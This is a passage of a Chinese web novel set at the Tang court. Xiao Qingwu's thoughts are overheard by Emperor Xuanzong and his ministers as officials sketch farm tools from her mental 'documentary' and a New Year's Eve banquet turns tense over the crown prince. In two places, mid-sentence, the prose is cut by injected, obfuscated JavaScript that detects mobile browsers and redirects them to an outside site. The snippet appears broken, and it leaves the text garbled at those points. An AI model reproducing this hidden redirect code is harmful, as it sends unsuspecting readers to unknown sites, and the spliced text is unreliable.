她目瞪口呆地看着地上这两个感情异常充沛的老臣,心中震撼至极。 【不、不至于吧,这会不会有点太夸张……?】萧青梧想了想,不确定地说,【还是说,古人就流行这么表达情绪?】 这时,张九龄也跟着出列。他低低咳嗽一声,眼睛一睁一合,再抬首时,脸上便布满了悲切,声音也变得无比沉痛:“二位公卿所言,实乃臣等心中所痛!今百姓遭此大难,臣等食君之禄,却不能为君分忧,为民请命,每每午夜梦回,便觉羞愧难当,心如油煎!” “为今之计,只有双管齐下。一则,即刻从民间征选经验丰富的老农,由户部牵头,拨付款项,悉心钻研培育良种之法。二则,广遣使臣,遍寻四海,南至岭南瘴疠之地,西至西域戈壁之陲,但凡有耐寒耐旱、易于栽种之粮种,便不惜一切代价,务必取回!” 张九龄的声音带上了一丝颤抖,仿佛激动得难以自持:“此虽非旦夕之功,然为江山社稷计,为天下苍生计,不得不行啊!” 李隆基听罢,面上露出极度沉重的神色,长长叹出一口气,道:“培育良种,寻找高产神种,谈何容易啊……这些不是一蹴而就的事,然百姓们的困顿却在眼下,朕每每思及此情,便心如刀绞,恨不能以身代之。唉……若上天真有悲悯之心,此刻便能降下那解厄救难的神种,该有多好……” 话音刚落,阶下群臣似被这番痛彻心扉之言深深触动,殿内顿时响起一片低声的附和与唏嘘之声,纷纷躬身慨叹,面露戚戚然之色。 萧青梧也在心里叹气:【改进种子可不是三五年就能完成的,寻找新的粮食也是个运气问题,能不能找到还不一定呢……唉,没有这么多灾害就好了。】 【实际上,即便灾害频发,以如今的粮食产量养活大唐这么多人口,还是够的,问题的主要根源不在于产量,或者灾害。】 在于分配不公。 萧青梧知道9527的言下之意,这种写在初中课本上的东西,她怎么会忘呢? 如果苛捐杂税能轻些,豪强盘剥能少些,不事生产躺在民脂民膏上挥霍无度的人能少些,那么,即便遭遇灾年,一年到头来剩下来的粮食,养活一家人还是勉强够的。 然而最大的问题在于,地里种出来的粮食,绝大部分都被以各种名义拿走了。 她还记得曾经做过的一道历史题。一亩好田收一石半左右的粟米,缴纳租调就要交掉近半,如果是佃户,还得先给地主交六成。胥吏下乡征收杂税徭役,又要刮去两斗。 问,经过层层盘剥后,落到农人手里的还剩多少?答案是不足三斗。 换成现代的单位,差不多一袋25公斤装大米的半袋,一个极度令人绝望的数字。 这点粮食,连熬过冬天都困难。 【算了,看剧吧,不想再听这些了。】萧青梧面无表情地划拉开脑内电脑的界面,【越听越生气,反正我又做不了什么,还不如一开始就别让我知道。】 17.第 17 章 连说带唱表演了一通,没有听到任何想要的东西,李隆基的脸色可以说十分难看。 几位老臣神情讪讪地退回班列,眼角余光却仍不死心地瞟向御座后方,暗暗观察着萧青梧的脸色,心里不住琢磨刚才那些话到底有没有被听进去,一边又忍不住伸长了脖子,去看再次出现的奇异光幕。 【其实我有点没明白,怎么突然就哭起来了?】 萧青梧一边划拉着资源库里的片子,一边忍不住跟9527吐槽:【是因为雪灾死了人?这确实是个令人悲伤的事情,但是对于这些在官场沉浮几十年的老油条来说,反应有点过度了吧?难道真就爱民如子到这种地步了?每次灾情死了人都要这么哭一场?总感觉挺奇怪的。】 【适当的表现出悲痛,是官员在面对天灾人祸时的一种政治正确和必要姿态,这有助于彰显其心系百姓的仁德。】 【原来是这样……】萧青梧如若有所思的暗暗点头,【官场还真是一门学问啊……】 太尉宁王李宪,也就是方才打头哀嚎的那位老臣,听着上方那与自己意图南辕北辙,八匹马都拉不回来的心音,嘴角控制不住地微微抽搐。这人心思竟如此敏锐,险些瞧出破绽! 他心下暗叹,看来这样的法子日后不可再多用了。 李隆基揉着额角,神情疲惫地抬首示意高力士朝会继续。 昨天红薯带来的冲击太过强烈,令他辗转反侧彻夜未眠,满心只盘算着如何从萧青梧口中套出只言片语,将那祥瑞带回大唐。 何止红薯,那占城稻也势在必得!然而萧青梧全然不接茬,这让他心焦如焚,却又无计可施。 朝堂上的气氛肉眼可见地一度凝滞,没过多久又恢复了正常,官员们依次出列奏事。 萧青梧也终于找好了要看的片子,《林则徐戍边》。 这部纪录片讲述的是清朝道光年间,林则徐因禁烟运动被贬黜后,于伊犁戍边期间,积极协助当地政府主持兴修水利、勘垦荒地的故事。 【就这个吧,看点积极向上的。】萧青梧按下播放键,【封建社会这些事啊,真的不能细想,一想我就得爆炸。】 纪录片开始播放,片头音乐响起,画面以快速闪回的方式展现了这部片子重要要讲述的内容。在极其艰苦的条件下,人们如何依靠简陋的工具开凿沟渠、引水灌溉,将一片片曾经的荒漠戈壁变为可以耕种的良田。 与昨日展示静止的诗文截然不同,这一次,光幕之上的景象竟是会动的! 更令他们骇然的是,那光幕之中竟有声响传出!恢宏壮丽的乐声、工具的撞击声、劳工们的号子声,虽语调古怪却清晰可闻,仿佛另一个世界的声音直接穿透时空,降临于此。 这远超理解的神迹让殿下群臣个个呆若木鸡,许多人下意识地倒抽一口冷气,若不是心中牢记万不可露馅,又看到上方李隆基面色不变地好端端坐着,不少人怕是当场就得惊叫起来。 片头BGM一过,背景只用字幕简单交代了几句,便直接进入主题。 “道光二十三年?伊犁?”有眼尖的官员看到了画面闪回时出现的文字标题,喃喃念出,脸上全是茫然,“这是何朝何代的年号?伊犁又是何地?” 旁边有人拧眉思索:“看这荒凉的景象,倒似是西域边陲,伊犁……莫非是伊丽一带?” 来不及对着怪异的发型发表什么意见,所有人的注意力瞬间被画面中主角到达伊犁后颁布的那一系列的政策所吸引。 外行看热闹内行看门道,有熟知农事的官员们眼睛都快瞪出来了,越往后看越恨不得扑到光幕前去看清每一个细节。 “妙啊!如此引水,可省却半数民力!” “这夯土之法似乎更为坚固耐久?” “他们是如何测量地势高低的?竟如此精准?” 虽然时代地点皆不对,但兴修水利、垦殖荒地的核心是相通的,更令人振奋的是,光幕中展现出来的农具,全都是大唐没有的,而且轻易就能复刻! 还有……红薯!原来它长这幅模样!那个姓林的官员在指挥农户们种红薯! 窃窃私语声在官员中蔓延,那是压抑不住的兴奋与好奇。 “肃静!!!”御史提着嗓子大喊一声,及时打断了官员们越来越大、几乎快被上头察觉的议论。 萧青梧将视线从屏幕上移开,茫然地看向阶下。 【怎么了?吵起来了?】她扫视了一圈殿内,没发现任何异常,政务依旧在有条不紊地缓慢推进中。她呆呆看了几眼,便将注意力再次放回纪录片上。 进度条已经过了快一半,艰难开垦的过程大致讲完,后续多半是些琐碎的困难与丰收的细节,她直接调成2倍速加快看完。 【心情总算好了些。】萧青梧长长舒了口气,【我算是明白了为什么每次地震过后,都会举办大型公益晚会,人果然还是需要一些精神上的慰藉啊。】 看了眼时间,居然还不到6点,这意味着朝会至少还要三四个小时才能结束。 她长长地叹了口气,双目无神地继续打开一部动画片来消耗时间。朝堂上说的多数都是些琐碎又晦涩的政务,大多她都听不懂,比如这会就在说某位宗室亲王薨逝后的谥号拟定问题,阶下两名礼部的官员为了用“恭”字还是“惠”字,吵得都快打起来了。 又比如关于明年春季祭先蚕礼的仪程细节,负责的官员在请示后妃出席时具体该穿哪种纹样的礼服,以及内外命妇陪祭的站位次序。 【……完全听不懂。】萧青梧面无表情地在心里吐槽,【给死人吵架吵半天,给活人站队也能吵半天……这些还比不上讨论下怎么赈灾更重要吗?算了,还是看我的《猫和老鼠》吧。】 她熟练地将脑内屏幕的音量调低,开始沉浸式观看汤姆和杰瑞的世纪大战。 殿中群臣却无人敢有丝毫懈怠,他们一边在脑子里不断临摹那些水利农具的珍贵细节,一边还要绷紧神经应对皇帝的垂询和同僚的辩论,同时还得管理好表情,不能对阶上那诡异的光影和声响露出异样。 一场朝会下来,精神上的消耗远比身体更大。 当高力士终于宣布退朝时,宣政殿内的气氛陡然一松。百官依序躬身退出,动作看似平稳,但许多人的步伐都比平日快了几分,尤其是户部和工部的几位官员,几乎是强压着迫不及待的心情。 待看到圣驾消失在侧门再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370058|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也看不见时,压抑了一早上的沸腾情绪瞬间爆发。 “纸!快!快取纸笔来!”户部一位郎中几乎是吼出来的,声音都变了调。 不明就里的小宦官立刻捧着笔墨纸砚小跑上前,几位户部、工部的官员,连同几位对农事极为热心的官员,毫无形象地趴伏着,也顾不上什么体面,围成一圈运笔如飞。 “快,画下来!那个曲辕犁!看清楚了吗?是不是有个弯?” “此处!此处定然有个弯弧,绝非直辕!” “还有那个!像耙子又不是耙子的,叫什么……耧车?对!播种用的!” “引水的那套机关!闸口!还有那个叫什么……水平?他们是怎么测的?!” “红薯!重点是红薯!藤蔓!块茎!他们怎么种的?深埋还是浅埋?快把它的样子画下来,一定要派人去找!” 一时间,宣政殿门口的空地上仿佛成了工程设计现场。 官员们在纸上飞快地勾勒记忆中惊鸿一瞥的农具草图,互相纠正、补充细节,其他尚未离去的官员也围拢过来,伸长了脖子看着,脸上满是惊奇与兴奋。 而那些听不见任何异常的官员则对此瞠目结舌,完全无法理解同僚们这突如其来的、有失体统的狂热姿态。一位年迈的御史终于忍不住,指着地上的人群,颤声问道:“尔、尔等……这、这成何体统?!究竟是在做什么?” 趴在地上的一位工部郎中头也不抬,声音激动地回道:“这些可是天赐的宝贝!若能制成,天下农事必将为之革新!” 他一说完,周围知晓内情的官员们目光更加灼热,却让提问者愈发茫然失措,呆立原地,仿佛与周遭隔着一层无形的壁垒。 —— 日子在一种表面平静、内里汹涌的古怪氛围中飞快流逝。 萧青梧依旧每日凌晨挣扎着起床,去宣政殿“罚站”,看着君臣们上演她似懂非懂的日常政务剧,散朝后或是去延英殿,或是去温室殿等其他处理政务的地方继续“罚站”,一站就是一整天,直到夜里才被放回去睡觉。 期间,她也渐渐将史书上那些名字和脸孔一一对应起来。她知道了李林甫是哪个,当时心里唯一的想法是,哦原来是这个人啊,看着很是斯文儒雅的样子,跟刻板印象里的奸臣完全对不上号。 此外,沉稳刚毅的韩休,精明干练的裴耀卿,或是那位以清廉闻名的宋璟……这些并不闻名于世,自己只在资料中见过的名字,也逐渐化为了眼前鲜活而具体的人物。 这之间还经历了一次朔望朝,就是每个月初一十五才举行的礼仪式大型朝会,规模之盛大,远超日常的常参。 萧青梧没有被允许跟着一起去,虽然很遗憾但也无奈,按照李隆基对女性参政的严防死守,能让她旁观个常朝,估计已经是顶了天了。 而朝堂之上,关于新农具的研制和各项水利新政与种植技术,已经成为最高优先级的任务。工部匠作监的能工巧匠们被紧急召集,根据那些潦草却珍贵的草图,新式农具很快就被复现了出来,此外还派遣诸多经验丰富的吏员们带着所学前往各地,将这些技术和农具的制作方法传达下去。 转眼间,除夕已至。 18.第 18 章 十二月最后这一天,长安城内一片银装素裹,宫中更是装饰一新,十分具有节日的氛围。 廊庑庭院处处张灯结彩,各处殿门俱都全部换上了崭新的桃符,朱漆映着白雪,分外醒目。往来的宫人们步履匆匆,虽然忙碌,脸上却都带着几分节日的轻快。 上千名从宫外选拔上来的少年郎们,一水地戴着狰狞诡异的傩面,身着红黑衣裤,手持小鼓或桃弧棘矢等道具,在教习的指挥下,正紧张地在宫苑间的空地上做着最后的排练。 对于李隆基这个大唐最高领导人而言,除夕这天并不算很忙碌,早上如常处理些政务,下午休息,一天的重头戏全放在了晚上。 华灯初上,待整座皇宫被华美的宫灯映得无比辉煌时,麟德殿内已是另一番景象。 王室宗亲、皇子皇孙、文武重臣们皆按品秩早已入席,教坊司的乐工们已然调准丝竹管弦,舞姬们亦已装扮妥当,静候席开。 没等多久,殿外由远及近传来阵阵脚步声,以及内侍悠长的通传声。 李隆基一行人的身影出现在门口,他今夜依旧只穿着赭黄色常服,用料极为考究,头戴软脚幞头,神色较平日朝会时显得松弛许多,少了几分朝堂上的威仪,多了些主人家的随和。 众人起身行过礼后,李隆基说了几句客套话,双方渐次落座。 待一坐定,萧青梧很有眼色地立刻上前斟酒。李隆基并未立刻举杯,而是又环视了一圈殿下众人,尤其在一些年迈的老臣身上略作停留,眼神中带着些许感慨。 “又是一年岁除,”他缓缓开口,声音在安静的殿内清晰地传到每个人耳中,“旧岁将去,新春即至。朕与诸卿,又相伴一载。这一年,国事虽有艰辛,然赖得诸卿尽心辅佐,天下尚算太平。今夜不谈国事,只叙家常,望诸卿皆能尽兴,共度良宵。” 皇帝简短而温和的开场白,为这场除夕夜宴定下了松快的基调。虽然不会真的有谁傻不愣登地跟皇帝拉家常,但但席间气氛确实肉眼可见地活络起来。 桌岸上已摆好了各色珍馐美味,内侍与宫女们如流水般穿梭于各席之间,及时为众人斟酒奉茶,酒香与食物的香气在殿内弥漫着。 侍立一旁的高力士向着大殿侧方微微颔首示意,早已准备就绪的教坊司乐工们立刻奏响了雅乐。丝竹之声悠扬而起,身着彩衣的舞姬们翩然入殿,随着乐声翩翩起舞。 【大唐春晚,名不虚传,】萧青梧立于李隆基身后,津津有味地欣赏着殿内歌舞,【虽然乐器太少,编曲也比较单调,但是这种古朴的氛围感还是很不错的。】 李隆基一听她这话立刻不高兴了,他素来自矜于音律造诣,更是亲手组建调教梨园,最不喜的便是有人质疑他的艺术水平。那句“编曲单调”,不正是对他编器水准的贬低? 无知女子,懂不懂什么叫雅乐正声? 高力士见状,连忙向乐工们比划了几个手势,霎时间,乐声大作,原本清越悠扬的丝竹声中加入了鼓点,典雅的旋律陡然变得欢快且富有节奏感,舞姬们的舞步也随之变得激昂,再也不复方才的“单调”。 【我猜这肯定是胡旋舞!你看舞姬脚下那块毯子,还有一圈又一圈的舞步,跟电视上复原的差不了多少啊!】 【可以这么说,胡旋舞并不是某个特定舞蹈种类的称呼,它是个类称,凡是从西域流传而来,风格刚健明快,且带有高速的连续旋转舞步的舞蹈,都可以称为胡旋舞。】 舞毕,乐声暂歇,预示着宴会进行到下一个环节。 位于众人之首的宁王李宪忽然笑呵呵地起身。他年事已高,身形微胖,此刻面色红润,双眼微醺,显然已是酒至酣处。 只见他上前几步,停在御座下方不远处的空地上,先是整了整自己的衣冠,然后对着不远处的李隆基躬身一拜,接着舒展手臂,将身体摆成一个怪异的姿势,开始缓缓起舞。 “啊~啊~~岁除夜~月儿明~陛下坐龙庭~福寿永康宁~啊~~啊~~~共饮此杯太平酒~来年稻谷双穗头~~啊~~啊~~” 一舞结束,他又返回座位取了斟满的酒杯,高举过头,扬声念出祝福的词,李隆基含笑举杯示意,君臣共饮。 【跳、跳起来了?!】萧青梧这才反应过来,目瞪口呆地看着一脸没事人一样,坦然回到座位上的宁王,【这、这是个人才艺展示部分吗?】 9527有条不紊地解答道:【唐代宫廷极为推崇以舞祝颂,这在宴饮、庆典乃至朝会祭祀中都是不可或缺的环节。通常是臣子或外国使节以起舞的方式向皇帝献上祝福,而皇帝有时也会即兴起舞回应,与臣子共乐,这是一种彰显君臣融洽、四海升平气象的有效手段。】 紧接着,一位衣着华贵年轻郎君自席间出列。他约莫二十出头,面容英挺,行止间自带一股雍容的气度。只见他从容走至殿中,依样向御座行礼,礼毕过后开始起舞。 比起宁王的随性与笨拙,此人的舞姿显然经过精心编排,更为规整优雅。 萧青梧双眼紧盯着殿内起舞的年轻人,突然想到:【位置这么靠前……这人不会是太子李瑛吧?】 【根据座次、年龄、服饰以及献舞的顺序判断,此人有很大概率为当朝太子李瑛。】 【还真是他啊……】萧青梧盯着李瑛看了会,心中感慨,【看着人还挺和气的,可惜了……】 乐声流转间,李瑛的舞步骤然凝滞了一瞬,殿内一切喧嚣也似是突然被人按下了暂停键。 异样只有让人难以察觉的短短一刹那,李瑛很快就收敛了心神继续献舞,殿内也跟着恢复了热闹,只是仔细一看,那份热闹终究是不及方才。 一舞终了,李瑛气息稍定,同样取来酒杯,面向御座深深一揖,朗声道:“臣谨以此舞,敬祝陛下圣体安康,福泽绵长。伏愿天佑大唐,山河永固,海内升平!” 李隆基面露欣慰之色,再次举杯与太子同饮。 有了宁王和太子带头,殿内的气氛更加热烈。紧接着,各位亲王、郡王、宰相、勋贵朝臣们,开始依照爵位品秩高低,渐次起身,来到御前献舞祝酒。 有的舞姿豪放,有的略显笨拙,有的显然精于此道,姿态风流。祝酒词也五花八门,或文雅或质朴,但核心无一不是表达对皇帝的忠诚与对新年的美好祝愿。 萧青梧刚开始还拼命忍着笑,肩膀一直抖个不停,后来看习惯了,便也从这种别开生面的场景中感受到一种质朴而热烈的真诚,以及超越身份地位的、其乐融融的节庆氛围。 嗯……别管是不是真的质朴吧,至少表现出来的形式是这样的。 而太子李瑛此刻的心情就没那么明快了。 那句“可惜”自祝颂后便一直萦绕在他的脑海中,不止是他,东宫众属臣显然也十分在意,每个人都一副心事重重但还要强作笑颜的模样。 他举着一杯酒置于唇边,半遮半掩地暗暗打量着御座之后那个明显不同于其他宫女的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374086|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 不止是他,宴上许多人都在或明或暗地观察她,只是她似乎毫不知情,把席上众人的目光全都当成向着御座而去的了。 她脸上的神情一点都不似其他宫女那样恭顺,站姿也十分随意,眼珠子不安分地左看右看,目光中满是好奇与大胆,全无应有的谨小慎微,甚至偶尔落于父亲身上的视线都是那般随意,和看向其他人的没有任何区别。 那种仿佛游离于所有人之外,超然物外的疏离姿态,像是一道无形的屏障,将她与其他人清清楚楚地分隔开。 自冬至宴那石破天惊的一日后,父亲就让他以潜心向学的名义暂离朝会,他清楚地知道,这分明是父亲在防备,防着他从那些诡异的心音中窥探到不该他知道的未来。 阿耶……竟已防他至此了吗? 他垂下眼睑,将杯中酒一饮而尽,佳酿入喉,此刻尝来,却只剩下满腔的酸楚。 正在李瑛黯然神伤之际,御座之上的李隆基忽然朗声一笑。 “诸卿盛情,朕心甚慰!”他声音洪亮,带着几分酒后的酣畅与帝王的豪情,说道,“值此良辰,朕岂能独坐?当与诸卿共舞,以贺新岁!” 此言一出,殿内随即爆发出更热烈的欢呼,武将们起哄的声音尤其响亮。 在逐渐欢快起来的鼓点声中,李隆基来到殿中空地上。他并未选择繁复典雅的舞步,而是随着越来越热烈的乐声,舒展袍袖,踏着节拍,跳起胡人的舞步。他的动作大气而舒展,虽不似专业舞姬那般柔美,却自有一股掌控全局的自信。 目光所及之处,群臣无不振奋。宁王李宪首先大笑起身加入,众臣跟着纷纷离席,环绕在皇帝身边,一同起舞。 一时间,麟德殿内冠带飞扬,环佩叮当,地上时不时掉下一顶因动作豪放而滑落的幞头,或是不慎从激烈舞动的腰间飞出的挂饰。 【大唐disco!】萧青梧看得两眼放光,【谁能想到有一天我会看到李隆基带头蹦野迪!我们大唐就是放得开啊,人人都是舞王,个个都是大艺术家!】 【如果您想趁机体验一番的话,也可以加入,这种场合下,哪怕有人惊讶,也不会过多为难于您。】 【不不不不不!】萧青梧一脸惊恐,【你不觉得这很可怕吗?!我虽然不是社恐,但绝对不是社牛啊!让我在这么多人面前表演才艺,跟让我死了差不多!】 她的心声毫无意外地传入能听见的人耳中。 正在起舞的李隆基嘴角几不可察地抽动了一下,脚下节奏却丝毫未乱。“蹦野迪”虽不知是何意,但想来绝非雅称。他决定忽略这女人的胡言乱语,专注于眼前的君臣同乐。 太子的目光一直追随着自己的父亲,他看到父亲脸上那难得一见的、毫无阴霾的畅快笑容,看到众星拱月般围在他身边的臣子们,整理了一下衣袍,快步走入众人行列之中,慢慢舞到李隆基身边。 父子二人虽无言语交流,但在这共同的节奏和韵律中,一种难得的、近乎平常人家的温情悄然流淌。 萧青梧看着父子二人共舞的场景,心中突然莫名伤感。 【傻孩子,还在这父慈子孝呢,你爹马上都要杀你了,不跑还搁这跳什么舞?】 以李隆基为中心,冰冷的寂静骤然扩散开来,欢快的乐声仿佛存在于另一个世界,所有的喧嚣都在这一刻抽离冻结。 李瑛僵硬地站着,脸上笑意尚未完全褪去,心底却已是一片冰凉刺骨的茫然。